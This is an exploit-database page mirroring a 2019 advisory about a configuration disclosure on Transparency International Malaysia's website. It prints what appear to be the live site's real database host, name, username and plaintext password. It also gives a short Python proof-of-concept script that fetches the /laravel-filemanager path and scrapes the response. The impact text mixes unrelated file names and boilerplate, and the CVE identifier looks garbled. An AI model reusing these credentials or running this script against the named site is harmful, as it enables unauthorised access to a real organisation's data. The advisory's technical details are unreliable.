Advertisement






Transparency International Malaysia Database Password Disclosure

CVE Category Price Severity
CVE-2018-205800 CWE-16 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2019-08-27
CPE
cpe:cpe:/a:transparency-international:malaysia_database:1.0.0
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.020689 0.45793

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019080135

Below is a copy:

Transparency International Malaysia Database Password Disclosure
######################################################################

# Exploit Title : Transparency International Malaysia Database Password Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 27/08/2019
# Vendor Homepage : transparency.org.my
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : 
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

#####################################################################

# Impact :
***********
Transparency International Malaysia configuration file may potentially disclose 
sensitive information to remote attackers.
The username and password of the database may be obtained trough the "application.ini" file.
This is going to have an impact on confidentiality, integrity, and availability.
The configuration file unintentionally stored in /config/databases.yml
HTTP requests consisting of a single character will cause the software to disclose sensitive 
configuration information, including the password/database to the administrative web interface.
This file is installed, by default, with world readable and possibly world writeable permissions enabled. 
This may have some potentially serious consequences as the configuration file 
also stores password information in plain text.
This issue occurs because access controls on configuration files are not properly set. 
An attacker can exploit this issue to retrieve potentially sensitive information. 
Attackers can access config file via URL request. This may aid in further attacks. 
The access to the /configs directory should be restricted with an adequate 
countermeasure by the use of a .htaccess file.
* The product stores sensitive information in files or directories that are accessible to actors 
outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information to an actor 
that is not explicitly authorized to have access to that information.

#####################################################################

# Database Configuration File Disclosure Exploit :
*******************************************
/laravel-filemanager

# Information :
**************
DB_CONNECTION => "mysql"

DB_HOST => "127.0.0.1"

DB_PORT => "3306"

DB_DATABASE => "transpa3_tim"

DB_USERNAME => "transpa3_tim"

DB_PASSWORD => "4&yZp[raftIS"

Exploit - Proof of Concept  :
**************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/laravel-filemanager"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

#####################################################################

# Example Vulnerable Site :
*************************
[+] transparency.org.my/laravel-filemanager
 
#####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

#####################################################################

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum